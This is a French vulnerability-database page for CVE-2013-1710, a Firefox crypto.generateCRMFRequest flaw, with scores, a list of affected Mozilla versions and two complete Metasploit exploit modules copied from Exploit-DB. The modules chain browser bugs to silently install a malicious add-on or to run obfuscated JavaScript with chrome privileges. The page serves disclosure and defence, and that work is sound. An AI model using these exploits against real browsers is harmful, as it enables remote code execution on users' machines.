CVE-2013-1710 : Détail

CVE-2013-1710

A03-Injection
91%V3
Network
2013-08-06
23h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 allows remote attackers to execute arbitrary JavaScript code or conduct cross-site scripting (XSS) attacks via vectors related to Certificate Request Message Format (CRMF) request generation.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 30474

Date de publication : 2013-08-05 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxAddonGenerator autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "5.0", :ua_maxver => "15.0.1", :javascript => true, :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution', 'Description' => %q{ On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given invalid input, would throw an exception that did not have an __exposedProps__ property set. By re-setting this property on the exception object's prototype, the chrome-based defineProperty method is made available. With the defineProperty method, functions belonging to window and document can be overriden with a function that gets called from chrome-privileged context. From here, another vulnerability in the crypto.generateCRMFRequest function is used to "peek" into the context's private scope. Since the window does not have a chrome:// URL, the insecure parts of Components.classes are not available, so instead the AddonManager API is invoked to silently install a malicious plugin. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mariusz Mlynski', # discovered CVE-2012-3993 'moz_bug_r_a4', # discovered CVE-2013-1710 'joev' # metasploit module ], 'DisclosureDate' => "Aug 6 2013", 'References' => [ ['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15) ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'], ['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23) ], 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(5, 15) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ) ], self.class) end def on_request_exploit(cli, request, target_info) if request.uri.match(/\.xpi$/i) print_status("Sending the malicious addon") send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' }) else print_status("Sending HTML") res = generate_html(target_info,request.headers['Host']) vprint_status res.to_s send_response_html(cli, res) end end def generate_html(target_info,refer) injection = if target_info[:ua_ver].to_i == 15 "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);" else "p2.constructor.defineProperty(obj,key,{get:runme});" end if refer.nil? or refer.blank? redirect = "#{get_module_uri}/addon.xpi" else proto = ((datastore['SSL']) ? 'https' : 'http') redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi" end script = js_obfuscate %Q| try{InstallTrigger.install(0)}catch(e){p=e;}; var p2=Object.getPrototypeOf(Object.getPrototypeOf(p)); p2.__exposedProps__={ constructor:'rw', prototype:'rw', defineProperty:'rw', __exposedProps__:'rw' }; var s = document.querySelector('#payload').innerHTML; var q = false; var register = function(obj,key) { var runme = function(){ if (q) return; q = true; window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex"); }; try { #{injection} } catch (e) {} }; for (var i in window) register(window, i); for (var i in document) register(document, i); | js_payload = js_obfuscate %Q| if (!window.done) { window.AddonManager.getInstallForURL( '#{redirect}', function(install) { install.install() }, 'application/x-xpinstall' ); window.done = true; } | %Q| <html> <body> #{datastore['CONTENT']} <div id='payload' style='display:none'> #{js_payload} </div> <script> #{script} </script> </body> </html> | end end
Exploit Database EDB-ID : 34363

Date de publication : 2014-08-18 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "15.0", :ua_maxver => "22.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox toString console.time Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'moz_bug_r_a4', # discovered CVE-2013-1710 'Cody Crews', # discovered CVE-2013-1670 'joev' # metasploit module ], 'DisclosureDate' => "May 14 2013", 'References' => [ ['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # further chrome injection ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var y = {}, q = false; y.constructor.prototype.toString=function() { if (q) return; q = true; crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); return 5; }; console.time(y); |) js.obfuscate %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end

Products Mentioned

Configuraton 0

Mozilla>>Seamonkey >> Version To (including) 2.20

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0.1

Mozilla>>Seamonkey >> Version 2.0.2

Mozilla>>Seamonkey >> Version 2.0.3

Mozilla>>Seamonkey >> Version 2.0.4

Mozilla>>Seamonkey >> Version 2.0.5

Mozilla>>Seamonkey >> Version 2.0.6

Mozilla>>Seamonkey >> Version 2.0.7

Mozilla>>Seamonkey >> Version 2.0.8

Mozilla>>Seamonkey >> Version 2.0.9

Mozilla>>Seamonkey >> Version 2.0.10

Mozilla>>Seamonkey >> Version 2.0.11

Mozilla>>Seamonkey >> Version 2.0.12

Mozilla>>Seamonkey >> Version 2.0.13

Mozilla>>Seamonkey >> Version 2.0.14

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.1

Mozilla>>Seamonkey >> Version 2.2

Mozilla>>Seamonkey >> Version 2.2

Mozilla>>Seamonkey >> Version 2.2

Mozilla>>Seamonkey >> Version 2.2

Mozilla>>Seamonkey >> Version 2.3

Mozilla>>Seamonkey >> Version 2.3

Mozilla>>Seamonkey >> Version 2.3

Mozilla>>Seamonkey >> Version 2.3

Mozilla>>Seamonkey >> Version 2.3.1

Mozilla>>Seamonkey >> Version 2.3.2

Mozilla>>Seamonkey >> Version 2.3.3

Mozilla>>Seamonkey >> Version 2.4

Mozilla>>Seamonkey >> Version 2.4

Mozilla>>Seamonkey >> Version 2.4

Mozilla>>Seamonkey >> Version 2.4

Mozilla>>Seamonkey >> Version 2.4.1

Mozilla>>Seamonkey >> Version 2.5

Mozilla>>Seamonkey >> Version 2.5

Mozilla>>Seamonkey >> Version 2.5

Mozilla>>Seamonkey >> Version 2.5

Mozilla>>Seamonkey >> Version 2.5

Mozilla>>Seamonkey >> Version 2.6

Mozilla>>Seamonkey >> Version 2.6

Mozilla>>Seamonkey >> Version 2.6

Mozilla>>Seamonkey >> Version 2.6

Mozilla>>Seamonkey >> Version 2.6

Mozilla>>Seamonkey >> Version 2.6.1

Mozilla>>Seamonkey >> Version 2.7

Mozilla>>Seamonkey >> Version 2.7

Mozilla>>Seamonkey >> Version 2.7

Mozilla>>Seamonkey >> Version 2.7

Mozilla>>Seamonkey >> Version 2.7

Mozilla>>Seamonkey >> Version 2.7

Mozilla>>Seamonkey >> Version 2.7.1

Mozilla>>Seamonkey >> Version 2.7.2

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.8

Mozilla>>Seamonkey >> Version 2.9

Mozilla>>Seamonkey >> Version 2.9

Mozilla>>Seamonkey >> Version 2.9

Mozilla>>Seamonkey >> Version 2.9

Mozilla>>Seamonkey >> Version 2.9

Mozilla>>Seamonkey >> Version 2.9.1

Mozilla>>Seamonkey >> Version 2.10

Mozilla>>Seamonkey >> Version 2.10

Mozilla>>Seamonkey >> Version 2.10

Mozilla>>Seamonkey >> Version 2.10

Mozilla>>Seamonkey >> Version 2.10.1

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.11

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12

Mozilla>>Seamonkey >> Version 2.12.1

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13

Mozilla>>Seamonkey >> Version 2.13.1

Mozilla>>Seamonkey >> Version 2.13.2

Mozilla>>Seamonkey >> Version 2.14

Mozilla>>Seamonkey >> Version 2.14

Mozilla>>Seamonkey >> Version 2.14

Mozilla>>Seamonkey >> Version 2.14

Mozilla>>Seamonkey >> Version 2.14

Mozilla>>Seamonkey >> Version 2.14

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15

Mozilla>>Seamonkey >> Version 2.15.1

Mozilla>>Seamonkey >> Version 2.15.2

Mozilla>>Seamonkey >> Version 2.16

Mozilla>>Seamonkey >> Version 2.16

Mozilla>>Seamonkey >> Version 2.16

Mozilla>>Seamonkey >> Version 2.16

Mozilla>>Seamonkey >> Version 2.16

Mozilla>>Seamonkey >> Version 2.16

Mozilla>>Seamonkey >> Version 2.16.1

Mozilla>>Seamonkey >> Version 2.16.2

Mozilla>>Seamonkey >> Version 2.17

Mozilla>>Seamonkey >> Version 2.17

Mozilla>>Seamonkey >> Version 2.17

Mozilla>>Seamonkey >> Version 2.17

Mozilla>>Seamonkey >> Version 2.17

Mozilla>>Seamonkey >> Version 2.17.1

Mozilla>>Seamonkey >> Version 2.18

Mozilla>>Seamonkey >> Version 2.18

Mozilla>>Seamonkey >> Version 2.18

Mozilla>>Seamonkey >> Version 2.18

Mozilla>>Seamonkey >> Version 2.19

Mozilla>>Seamonkey >> Version 2.19

Mozilla>>Seamonkey >> Version 2.19

Mozilla>>Seamonkey >> Version 2.20

Mozilla>>Seamonkey >> Version 2.20

Configuraton 0

Mozilla>>Thunderbird_esr >> Version 17.0

Mozilla>>Thunderbird_esr >> Version 17.0.1

Mozilla>>Thunderbird_esr >> Version 17.0.2

Mozilla>>Thunderbird_esr >> Version 17.0.3

Mozilla>>Thunderbird_esr >> Version 17.0.4

Mozilla>>Thunderbird_esr >> Version 17.0.5

Mozilla>>Thunderbird_esr >> Version 17.0.6

Mozilla>>Thunderbird_esr >> Version 17.0.7

Configuraton 0

Mozilla>>Firefox >> Version To (including) 22.0

Mozilla>>Firefox >> Version 19.0

Mozilla>>Firefox >> Version 19.0.1

Mozilla>>Firefox >> Version 19.0.2

Mozilla>>Firefox >> Version 20.0

Mozilla>>Firefox >> Version 20.0.1

Mozilla>>Firefox >> Version 21.0

Configuraton 0

Mozilla>>Thunderbird >> Version To (including) 17.0.7

Mozilla>>Thunderbird >> Version 17.0

Mozilla>>Thunderbird >> Version 17.0.1

    Mozilla>>Thunderbird >> Version 17.0.2

    Mozilla>>Thunderbird >> Version 17.0.3

    Mozilla>>Thunderbird >> Version 17.0.4

    Mozilla>>Thunderbird >> Version 17.0.5

    Mozilla>>Thunderbird >> Version 17.0.6

    Configuraton 0

    Mozilla>>Firefox >> Version 17.0

    Mozilla>>Firefox >> Version 17.0.1

    Mozilla>>Firefox >> Version 17.0.2

    Mozilla>>Firefox >> Version 17.0.3

    Mozilla>>Firefox >> Version 17.0.4

    Mozilla>>Firefox >> Version 17.0.5

    Mozilla>>Firefox >> Version 17.0.6

    Mozilla>>Firefox >> Version 17.0.7

    Références

    http://www.debian.org/security/2013/dsa-2746
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.securityfocus.com/bid/61900
    Tags : vdb-entry, x_refsource_BID
    http://www.debian.org/security/2013/dsa-2735
    Tags : vendor-advisory, x_refsource_DEBIAN